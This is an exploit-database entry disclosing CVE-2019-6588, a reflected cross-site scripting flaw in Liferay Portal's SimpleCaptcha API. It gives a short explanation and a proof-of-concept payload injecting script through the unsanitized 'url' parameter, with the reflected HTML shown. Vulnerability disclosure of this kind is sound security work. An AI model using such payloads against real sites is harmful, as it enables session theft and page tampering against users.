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## https://sploitus.com/exploit?id=PACKETSTORM:153252
# Exploit Title: Liferay Portal < 7.1 CE GA4 / SimpleCaptcha API XSS  
# Date: 04/06/2019  
# Exploit Author: Valerio Brussani (@val_brux)  
# Website: www.valbrux.it  
# Vendor Homepage: https://www.liferay.com/  
# Software Link: https://www.liferay.com/it/downloads-community  
# Version: < 7.1 CE GA4  
# Tested on: Liferay Portal 7.1 CE GA3  
# CVE: CVE-2019-6588  
# Reference1: https://dev.liferay.com/web/community-security-team/known-vulnerabilities/liferay-portal-71/-/asset_publisher/7v4O7y85hZMo/content/cst-7130-multiple-xss-vulnerabilities-in-7-1-ce-ga3  
# Reference2: https://www.valbrux.it/blog/2019/06/04/cve-2019-6588-liferay-portal-7-1-ce-ga4-simplecaptcha-api-xss/  
  
  
Introduction  
In Liferay Portal before 7.1 CE GA4, an XSS vulnerability exists in the SimpleCaptcha API when custom code passes unsanitized input   
into the โ€œurlโ€ parameter of the JSP taglib call <liferay-ui:captcha url=โ€<%= url %>โ€ /> or <liferay-captcha:captcha url=โ€<%= url %>โ€ />.   
A customized Liferay portlet which directly calls the Simple Captcha API without sanitizing the input could be susceptible to this vulnerability.  
  
Poc  
In a sample scenario of custom code calling the <liferay-ui:captcha url=โ€<%= url %>โ€ /> JSP taglib, appending a payload like the following to the body parameters of a customized form:  
  
&xxxx%22%3e%3cscript%3ealert(1)</script>   
  
The script is reflected in the src attribute of the <img> tag, responsible of fetching the next available captcha:  
  
<img alt=โ€xxxโ€ class=โ€xxxxโ€ src=โ€xxxxxxโ€œ><script>alert(1)</script>=โ€ />